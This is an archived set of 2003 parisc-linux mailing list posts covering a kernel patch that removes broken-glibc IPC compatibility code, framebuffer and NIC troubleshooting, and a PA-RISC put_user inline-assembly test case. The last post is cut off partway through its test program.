X-Trace: ger.gmane.org 1416622953 1290 80.91.229.3 (22 Nov 2014 02:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:33 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 16:44:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44988483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 16:44:38 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AJLi0-0002gU-00; Tue, 11 Nov 2003 00:44:36 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 793DC27C9A; Tue, 11 Nov 2003 00:44:14 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031103214119.GD778@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20073

On Mon, Nov 03, 2003 at 04:41:19PM -0500, Carlos O'Donell wrote:
> On Mon, Nov 03, 2003 at 09:56:01AM +0100, Thomas Bogendoerfer wrote:
[ stuff about broken ipc syscalls in 2.6 ...]

I had some thoughts about the conversion stuff, I've added to work
around problems introduced because of the change of some structures in
glibc/kernel. I finally realized, that these conversion only works,
if the "old glibc" is still installed together with the old binary.
That's because the newer glibcs don't set the IPC_64 bit when doing 
the syscall, but the old binary still uses the wrong structs, so the
conversion routine never triggers. I think it's really time to remove that
crap. Below is an compiled but not booted patch, which removes it and also
forward ports the necessary bits in ipc/util.c from 2.4. 

If someone also wants to change glibc, feel free. I still think changing
glibc is a bad idea, because this new glibc won't work with a current 2.4
kernel.

Thomas.


Index: arch/parisc/kernel/sys_parisc.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/sys_parisc.c,v
retrieving revision 1.15
diff -u -p -r1.15 sys_parisc.c
--- arch/parisc/kernel/sys_parisc.c	1 Nov 2003 23:44:02 -0000	1.15
+++ arch/parisc/kernel/sys_parisc.c	10 Nov 2003 23:17:53 -0000
@@ -241,108 +241,6 @@ asmlinkage ssize_t parisc_readahead(int 
 }
 
 /*
- * FIXME, please remove this crap as soon as possible
- *
- * This is here to fix up broken glibc structures, 
- * which are already fixed in newer glibcs
- */
-#include <linux/msg.h>
-#include <linux/sem.h>
-#include <linux/shm.h>
-#include "sys32.h"
-
-struct broken_ipc_perm
-{
-    key_t key;			/* Key.  */
-    uid_t uid;			/* Owner's user ID.  */
-    gid_t gid;			/* Owner's group ID.  */
-    uid_t cuid;			/* Creator's user ID.  */
-    gid_t cgid;			/* Creator's group ID.  */
-    unsigned short int mode;		/* Read/write permission.  */
-    unsigned short int __pad1;
-    unsigned short int seq;		/* Sequence number.  */
-    unsigned short int __pad2;
-    unsigned long int __unused1;
-    unsigned long int __unused2;
-};
-		    
-struct broken_shmid64_ds {
-	struct broken_ipc_perm	shm_perm;	/* operation perms */
-	size_t			shm_segsz;	/* size of segment (bytes) */
-#ifndef __LP64__
-	unsigned int		__pad1;
-#endif
-	__kernel_time_t		shm_atime;	/* last attach time */
-#ifndef __LP64__
-	unsigned int		__pad2;
-#endif
-	__kernel_time_t		shm_dtime;	/* last detach time */
-#ifndef __LP64__
-	unsigned int		__pad3;
-#endif
-	__kernel_time_t		shm_ctime;	/* last change time */
-	__kernel_pid_t		shm_cpid;	/* pid of creator */
-	__kernel_pid_t		shm_lpid;	/* pid of last operator */
-	unsigned int		shm_nattch;	/* no. of current attaches */
-	unsigned int		__unused1;
-	unsigned int		__unused2;
-};
-
-static void convert_broken_perm (struct broken_ipc_perm *out, struct ipc64_perm *in)
-{
-	out->key  = in->key;
-	out->uid  = in->uid;
-	out->gid  = in->gid;
-	out->cuid = in->cuid;
-	out->cgid = in->cgid;
-	out->mode = in->mode;
-	out->seq  = in->seq;
-}
-
-static int copyout_broken_shmid64(struct broken_shmid64_ds *buf, struct shmid64_ds *sbuf)
-{
-	struct broken_shmid64_ds tbuf;
-	
-	memset(&tbuf, 0, sizeof tbuf);
-	convert_broken_perm (&tbuf.shm_perm, &sbuf->shm_perm);
-	tbuf.shm_segsz = sbuf->shm_segsz;
-	tbuf.shm_atime = sbuf->shm_atime;
-	tbuf.shm_dtime = sbuf->shm_dtime;
-	tbuf.shm_ctime = sbuf->shm_ctime;
-	tbuf.shm_cpid = sbuf->shm_cpid;
-	tbuf.shm_lpid = sbuf->shm_lpid;
-	tbuf.shm_nattch = sbuf->shm_nattch;
-	return copy_to_user(buf, &tbuf, sizeof tbuf) ? -EFAULT : 0;
-}
-
-int sys_msgctl_broken(int msqid, int cmd, struct msqid_ds *buf)
-{
-	return sys_msgctl (msqid, cmd & ~IPC_64, buf);
-}
-
-int sys_semctl_broken(int semid, int semnum, int cmd, union semun arg)
-{
-	return sys_semctl (semid, semnum, cmd & ~IPC_64, arg);
-}
-
-int sys_shmctl_broken(int shmid, int cmd, struct shmid64_ds *buf)
-{
-	struct shmid64_ds sbuf;
-	int err;
-
-	if (cmd & IPC_64) {
-		cmd &= ~IPC_64;
-		if (cmd == IPC_STAT || cmd == SHM_STAT) {
-			KERNEL_SYSCALL(err, sys_shmctl, shmid, cmd, (struct shmid_ds *)&sbuf);
-			if (err == 0)
-				err = copyout_broken_shmid64((struct broken_shmid64_ds *)buf, &sbuf);
-			return err;
-		}
-	}
-	return sys_shmctl (shmid, cmd, (struct shmid_ds *)buf);
-}
-
-/*
  * This changes the io permissions bitmap in the current task.
  */
 asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int turn_on)
Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.11
diff -u -p -r1.11 sys_parisc32.c
--- arch/parisc/kernel/sys_parisc32.c	28 Sep 2003 04:04:52 -0000	1.11
+++ arch/parisc/kernel/sys_parisc32.c	10 Nov 2003 23:19:00 -0000
@@ -1352,12 +1352,10 @@ asmlinkage int sys32_lseek(unsigned int 
 	return sys_lseek(fd, offset, origin);
 }
 
-asmlinkage long sys32_semctl_broken(int semid, int semnum, int cmd, union semun arg)
+asmlinkage long sys32_semctl(int semid, int semnum, int cmd, union semun arg)
 {
         union semun u;
 	
-	cmd &= ~IPC_64; /* should be removed together with the _broken suffix */
-
         if (cmd == SETVAL) {
                 /* Ugh.  arg is a union of int,ptr,ptr,ptr, so is 8 bytes.
                  * The int should be in the first 4, but our argument
Index: arch/parisc/kernel/syscall_table.S
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/arch/parisc/kernel/syscall_table.S,v
retrieving revision 1.2
diff -u -p -r1.2 syscall_table.S
--- arch/parisc/kernel/syscall_table.S	2 Nov 2003 04:40:50 -0000	1.2
+++ arch/parisc/kernel/syscall_table.S	10 Nov 2003 23:18:46 -0000
@@ -260,15 +260,15 @@
 	ENTRY_COMP(recvmsg)
 	ENTRY_SAME(semop)		/* 185 */
 	ENTRY_SAME(semget)
-	ENTRY_DIFF(semctl_broken)
+	ENTRY_DIFF(semctl)
 	ENTRY_DIFF(msgsnd)
 	ENTRY_DIFF(msgrcv)
 	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_SAME(msgctl_broken)
+	ENTRY_SAME(msgctl)
 	ENTRY_SAME(shmat_wrapper)
 	ENTRY_SAME(shmdt)
 	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl_broken)	/* 195 */
+	ENTRY_SAME(shmctl)		/* 195 */
 	ENTRY_SAME(ni_syscall)		/* streams1 */
 	ENTRY_SAME(ni_syscall)		/* streams2 */
 	ENTRY_SAME(lstat64)
Index: ipc/util.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/ipc/util.c,v
retrieving revision 1.3
diff -u -p -r1.3 util.c
--- ipc/util.c	8 Oct 2003 20:53:06 -0000	1.3
+++ ipc/util.c	10 Nov 2003 23:19:41 -0000
@@ -509,7 +509,7 @@ int ipc_checkid(struct ipc_ids* ids, str
 	return 0;
 }
 
-#if !defined(__ia64__) && !defined(__x86_64__)
+#if !defined(__ia64__) && !defined(__x86_64__) && !defined(__hppa__)
 
 /**
  *	ipc_parse_version	-	IPC call version
Index: ipc/util.h
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/ipc/util.h,v
retrieving revision 1.1
diff -u -p -r1.1 util.h
--- ipc/util.h	29 Jul 2003 17:02:19 -0000	1.1
+++ ipc/util.h	10 Nov 2003 23:20:13 -0000
@@ -56,7 +56,7 @@ int ipc_checkid(struct ipc_ids* ids, str
 void kernel_to_ipc64_perm(struct kern_ipc_perm *in, struct ipc64_perm *out);
 void ipc64_perm_to_ipc_perm(struct ipc64_perm *in, struct ipc_perm *out);
 
-#if defined(__ia64__) || defined(__x86_64__)
+#if defined(__ia64__) || defined(__x86_64__) || defined(__hppa__)
   /* On IA-64, we always use the "64-bit version" of the IPC structures.  */ 
 # define ipc_parse_version(cmd)	IPC_64
 #else
-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Tue, 11 Nov 2003 02:09:39 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <B993F7EE-13E3-11D8-9907-0030656F07A2@esiee.fr>
References: <200311101646.55611.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622953 1292 80.91.229.3 (22 Nov 2014 02:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 18:09:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id A47A9483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 18:09:43 -0700 (MST)
Original-Received: from esiee.fr ([212.186.189.113]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031111010941.TVYW20518.viefep11-int.chello.at@esiee.fr>;
          Tue, 11 Nov 2003 02:09:41 +0100
In-Reply-To: <200311101646.55611.vapier@gentoo.org>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20074

Le lundi, 10 nov 2003, =E0 22:46 Europe/Paris, Mike Frysinger a =E9crit =
:
>
> i wish i could post a frame buffer grab, but fbgrab doesnt support=20
> 8bit and
> fbscreenshot likes to segfault when writing the png to disk.
>

you can try to take pics with a digital camera or a webcam, if you have
any...

see: this is what we got with sticon init on 64bit kernel on B2000:
http://www.pateam.org/images/cell/pictures/B2000/B2000_sti_init800.jpg

Maybe this could help illustrating what you see?


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 11 Nov 2003 01:31:38 +0000 (GMT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311110124220.2933@sal.ucc.ie>
References: <3F969FFE00009E0B@ocpmta2.freegates.net> <3F969FFE00009EA4@ocpmta2.freegates.net>
 <20031110173748.GD24664@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622954 1295 80.91.229.3 (22 Nov 2014 02:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:34 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 18:31:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EF05483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 18:31:41 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAB1VeOP011278;
	Tue, 11 Nov 2003 01:31:40 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031110173748.GD24664@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20075

On Mon, 10 Nov 2003, Grant Grundler wrote:

> On Mon, Nov 10, 2003 at 01:31:45PM +0100, Joel Soete wrote:
> > ie a Lasi_82596 (as Matthew mentioned in a previous mail).
>
> yeah - that's not going to perform as well as tulip.
> And 10-Half is going to be substantially slower.
> Sounds like it has a bug in the negotiation.

Very likely!

My C200 is also very picky whether to enable 100MBit or not.
I'm using a no-name 100MBit-Switch, and it works fine for all
5 other PCs in my house).

I was not able to force 100MBit by changing the settings in the
PDC, but the following DID work:

> mii-tool -A 100baseTx,10baseT eth0


On my C3000 I don't have these problems.

Take a look in the mailing-list archive (about a year ago I guess and
later I found it also here: http://www.unixnerd.demon.co.uk/hp_unix.html).

Note that this is a problem with the C2x0, but I guess it might be
also true for the entire Cxxx series.


Max


From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Mon, 10 Nov 2003 21:05:35 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <200311102105.42375.vapier@gentoo.org>
References: <200311101646.55611.vapier@gentoo.org> <3FB01295.10005@tiscali.be>
Reply-To: vapier@gentoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_2PEs/CM79Nz9EG/";
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622954 1304 80.91.229.3 (22 Nov 2014 02:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 19:05:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.WPI.EDU (mail1.WPI.EDU [130.215.36.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1567F483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 19:05:37 -0700 (MST)
Original-Received: from mcafee.wpi.edu (mcafee.WPI.EDU [130.215.36.86])
	by mail1.WPI.EDU (8.12.10/8.12.10) with SMTP id hAB25aLk004960
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 21:05:36 -0500
Original-Received: from smtp.WPI.EDU(130.215.36.186) by mcafee.wpi.edu via csmap 
	 id 19126; Mon, 10 Nov 2003 21:03:33 -0500 (EST)
Original-Received: from vapier.wh0rd.org (vapier.wh0rd.org [130.215.224.143])
	by smtp.WPI.EDU (8.12.10/8.12.10) with ESMTP id hAB25XDF003187
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 21:05:34 -0500
User-Agent: KMail/1.5.4
In-Reply-To: <3FB01295.10005@tiscali.be>
X-PMX-Version: 4.1.0.80455
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20076

--Boundary-02=_2PEs/CM79Nz9EG/
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Description: signed data
Content-Disposition: inline

On Monday 10 November 2003 17:35, you wrote:
> please send your xfonfig-4 and your dmesg file.

http://wh0rd.de/mike/hppa-dmesg
http://wh0rd.de/mike/hppa-XF86Config-4
http://wh0rd.de/mike/hppa-fbcon-pic.jpg
the pic is a little blurry but you can see that the white text is from the=
=20
hppa firmware/palo while the purple text is from the bootup ... also, it=20
seems that the buffer is swapped in the middle ... the lower half of the=20
purple text is actually displayed first when scrolling back through the=20
buffer ...
=2Dmike

--Boundary-02=_2PEs/CM79Nz9EG/
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iQIVAwUAP7BD9UFjO5/oN/WBAQKQlg/+LX6b6IhJDIHgSHYklao4PRMSMJu+CUQ9
qv35Gja72CFYiXRPiWhG2FPwpMVxWRJ/DjW54WuiEzTszTleDIlfbhZ4DS+nhIG3
qcGkfg8+ORxPcQ2IAYOHGUo/3dvrKpaLt8KTPW2G2ZdiTMeTGVjZ3JikjdGAl6Is
v5JwCOYezUeSZ5x5JGVanNQOaxKGr2VnXq7YamdEPSOHQGxRnUYspFx7084jz/zW
JYVvZwQ0dKv+C10gIbMSs1SWl6s7gXv5LnhRtqwQ5KOxBzC5MCqFuuIN4TEO7CB0
4EdxIhlvy3vaq87nZsJvVSJW2WketwGFnlZYuKZ7eIU6Z9i1u21eDK44a5nm56eb
Po6bfL+Fv+PtcfSjWquoapRV8GQAPn7zxkDBPX+wKge+Xkz/+7w0hTWs4DIq1cff
nzp0z6A7y/9nZEGRA5Vb9gnnGad7BTormeYCmkCau9AS6FI0CtvePkyrxBHsPzcd
lR7lREq5GAcbTm7IRH1WraE5DmxqC+IhNJBDPS/ibxIxvg3Hjvzl2HBcI4PUDJYZ
7TAA4YPOpWAND9c7KBBN8+tFs9FddtXhLwRRq3BipJ3BNfOCiNWnfzx9Igjb9xBt
SNQt0MJeLw+WUthqXCs3cjpyhTWAclXlfstFd0gLF4M7kEAvBwC8h4jBtuEJccBa
/GsPLglTRTQ=
=5ZBE
-----END PGP SIGNATURE-----

--Boundary-02=_2PEs/CM79Nz9EG/--




From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Tue, 11 Nov 2003 11:21:42 +0000
Lines: 196
Approved: news@gmane.org
Message-ID: <3FB0C646.102@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk> <3FAE8EA4.3050208@tiscali.be> <20031110044556.GB16478@colo.lackof.org> <20031110050732.GZ28967@tausq.org> <3FAFDA75.7000906@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622954 1310 80.91.229.3 (22 Nov 2014 02:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:34 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 04:21:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D5734879
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 04:21:23 -0700 (MST)
Original-Received: from [62.235.120.127] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJWaG-0003Ek-TV; Tue, 11 Nov 2003 12:21:21 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3FAFDA75.7000906@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20077


Joel Soete wrote:
> 
> 
>>
>> %R2 is not *wrong* -- it points to the right side of argument register 
>> 2 (jda explained this in an earlier thread), but I am not 100% sure 
>> %R2 will do the right thing for a 32-bit build though -- if you are 
>> running on a pa1.1 machine and the register is only 32-bit, does %R2 
>> automatically do the right thing with 64-bit arguments?  I guess it's 
>> easy enough to tell by looking at the code gcc generates...
>>
> 
> Good idea and just for curiosity (i don't want to insist to maintain 
> some line of code which soon or later would have to be change ), I can 
> try to find back a test case I used to prepare. (Just be patient)
> 
So here is my test-case:
---------><---------
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#define KERNEL_DS       ((mm_segment_t){0})
#define USER_DS         ((mm_segment_t){1})

#define segment_eq(a,b) ((a).seg == (b).seg)

#define get_ds()        (KERNEL_DS)
#define get_fs()        (current->addr_limit)
#define set_fs(x)       (current->addr_limit = (x))

#define put_user __put_user

#define STD_USER(x, ptr)  __put_user_asm_64(x, ptr)

#define __put_user(x,ptr)                                       \
({                                                              \
         register long __pu_err __asm__ ("r8") = 0;              \
                                                                 \
             switch (sizeof(*(ptr))) {                           \
             case 1: __put_user_asm("stb",x,ptr); break;         \
             case 2: __put_user_asm("sth",x,ptr); break;         \
             case 4: __put_user_asm("stw",x,ptr); break;         \
             case 8: STD_USER(x,ptr); break;         \
             default: printf("Bug"); break;                              \
             }                                                   \
                                                                 \
         __pu_err;                                               \
})

/*
  * The "__put_user/kernel_asm()" macros tell gcc they read from memory
  * instead of writing. This is because they do not write to any memory
  * gcc knows about, so there are no aliasing issues.
  */

#define __put_user_asm(stx,x,ptr)                           \
         __asm__ __volatile__ (                              \
                 "\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
                 "2:\n"                                      \
                 "\t.section __ex_table,\"a\"\n"             \
                  "\t.word\t1b\n"                            \
                  "\t.word\t(2b-1b)+1\n"                     \
                  "\t.previous"                              \
                 : "=r"(__pu_err)                            \
                 : "r"(ptr), "r"(x), "0"(__pu_err))

#define __put_user_asm_64(x, ptr)                      \
         __asm__ __volatile__ (                              \
                 "\n1:\tstw\t%2,0(%%sr3,%1)\n"           \
                 "2:\tstw\t%R2,4(%%sr3,%1)\n"           \
                 "3:\n"                                      \
                 "\t.section __ex_table,\"a\"\n"             \
                  "\t.word\t1b\n"                            \
                  "\t.word\t(3b-1b)+1\n"                     \
                  "\t.word\t2b\n"                            \
                  "\t.word\t(3b-2b)+1\n"                     \
                  "\t.previous"                              \
                 : "=r"(__pu_err)                            \
                 : "r"(ptr), "r"(x), "0"(__pu_err))

typedef unsigned long long u64;
typedef u_int8_t  BOOLEAN;

typedef struct
{
     unsigned char b7, b6, b5, b4, b3, b2, b1, b0;
}
EightBytes;

int main(int argc, char * * argv, char * * env) {

     unsigned long long TU64;
     unsigned long long * PTU64=(unsigned long long *) 
malloc(sizeof(unsigned long long));
     int err;

     union
     {
         unsigned long long U64;
         EightBytes B8;
     }
     Uu64;

     Uu64.U64 = 0xf7f6f5f4f3f2f1f0LL;
     TU64 = Uu64.U64;

     err = put_user(TU64, PTU64);

     printf("TestU64 is of len: %u\n", sizeof(Uu64.U64));
     printf("Address of TestU64: %p\n", &TU64);

     printf("Value of Uu64.U64: %0Lx\n", Uu64.U64);

     printf("Value of Uu64.U64l: %0x\n", (unsigned int) Uu64.U64 );

     printf("Value of Uu64.U64h: %0x\n", (unsigned int) (Uu64.U64 >> 32) );

     printf("Value of Uu64.U64b0: %0x\n", (unsigned char) Uu64.B8.b0 );

     printf("Address of Uu64.U64: %p\n", &(Uu64.U64));
     printf("Address of Uu64.U64b7: %p\n", &(Uu64.B8.b7));
     printf("Address of Uu64.U64b0: %p\n", &(Uu64.B8.b0));

     printf("PTU64 is of len: %u\n", sizeof(*PTU64));
     printf("Address of PTU64: %p\n", PTU64);
